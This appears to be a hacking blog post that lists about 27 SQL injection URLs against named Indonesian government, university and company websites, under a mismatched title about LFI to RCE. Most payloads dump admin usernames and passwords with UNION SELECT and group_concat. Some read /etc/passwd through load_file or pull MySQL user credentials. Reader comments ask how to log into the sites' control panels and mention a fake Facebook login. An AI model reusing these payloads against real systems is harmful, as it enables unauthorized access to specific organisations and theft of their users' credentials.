LFI to RCE via access_log injection

Indonesian Vuln Sites [ part four ]


http://stabmaitreyawira.ac.id/news_detail.php?id=-2+union+select+1,2,3,4,group_concat(username,0x3a,password),6+from+user--

http://www.nganjukkab.go.id/ina/pariwisata/event.php?id=-1+union+select+1,2,3,group_concat(loginname,0x3a,password),5,6,7,8+from+portaluser--

http://www.quindo.co.id/english/event.php?id=-2+union+select+1,database(),3,group_concat(username,0x3a,password),5,6,7,8,9,10,11+from+admin--

http://www.stmikpontianak.ac.id/event.php?id=-24+union+select+1,2,database(),4,version(),6,7,8,9--

http://www.imjakarta.com/olympic/detail/info.php?id=-12+union+select+1,database(),group_concat(auto_id,0x3a,aid,0x3a,password),4+from+ms_admin--

http://www.direktori-perdamaian.org/ina/event.php?id=-14+union+select+user(),database(),version()--

http://www.oasislestari.com/event.php?id=-167+union+select+1,2,group_concat(userid,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+tbadmin--

http://www.an.tv/s/?sid=4+AND+1=2+UNION+SELECT+concat(user,0x3a,password),1+FROM+mysql.user/*

http://www.an.tv/s/?sid=4+AND+1=2+UNION+SELECT+load_file(0x2f6574632f706173737764),1/*

http://sap.gunadarma.ac.id/index.php?stateid=search&substep=detailkul&id=-1136+union+select+1,2,3,unhex(hex(@@version)),5,6,7--

http://www.indonesianeyes.com/news.php?id=-59+union+select+1,user(),version(),4,5,6--

http://www.aptik.or.id/news.php?session=details&newsID=-20060705103857+union+select+1,group_concat(email,0x3a,password),3,4,5,6,7,8,9+from+admin--

http://ia-smandu.org/berita.php?id=-14%20union+select+1,version(),database(),user(),5,6--

http://www.pustakabersama.net/buku.php?id=37357+AND+1=2+UNION+SELECT+0,1,version(),3,4,5,6--

http://www.inixindojogja.com/detailnews.php?id=-127+union+select+1,2,3,4,5,group_concat(username,0x3a,password),7,8+from+admin--

http://balidiscoveryconsulting.com/detailNews.php?id=-3+union+select+1,2,version(),4--

http://kickandy.com/sendfriend.php?ar_id=-1527+union+select+1,2,database(),group_concat(User_Name,0x3a,User_Password),5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+tbl_user--

http://www.kkppi.go.id/baru/job.php?mode=baca&catinfo_id=-2+union+select+1,2,3,4,group_concat(Login_name,0x3a,Password,0x3a,Email),6,7,8,9,10+from+tb_user--

http://pksm.mercubuana.ac.id/new/news.php?mode=baca&news_id=28+AND+1=2+UNION+SELECT+0,1,2,load_file(0x2f6574632f706173737764),4,5,6,7/*

http://ikatanbankir.com/ibi/news.php?id=-11+union+select+1,2,3,group_concat(username,0x3a,password),5,6,7,8+from+user--

http://total-ban.promedia-int.com/total/article.php?id=-3+union+select+1,database(),3,group_concat(username,0x3a,password),5,6,7,8+from+user--

http://maknyoess.com/web/news.php?id=-24+union+select+1,user(),3,group_concat(username,0x3a,password),5,6,7,8+from+user--

http://www.bli-online.com/bli/index.php?go=news.detail&idnews=-865+union+select+1,2,3,4,5,database(),7,group_concat(username,0x3a,password),9,10,11,12+from+td_users--

http://www.earthhour.wwf.or.id/news_detail.php?id=25+AND+1=2+UNION+SELECT+0,group_concat(username,0x3a,password),2,3,4+from+user/*

http://www.sonymusic.co.id/album81.php?id=-840+union+select+1,2,3,version(),5,6,7,8,9,10,11,12--

http://nexian.co.id/product.php?p=cdma&t=6+AND+1=2+UNION+SELECT+0,1,2,concat_ws(0x3a,user_id,username,password,lastlogin),4,5,6,7,8+from+users--

http://www.ernijulia.com/v4/buku.php?id=-16+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+admin--

Comments

Unknown said…
WoW
Very nice toturial my dear
But I have one q
How can i enter the cpanel of these websites to login username N passowrd ..

I hope u answer as soon as u can
Thank u
labatterie said…
This is the example of facebook fake login...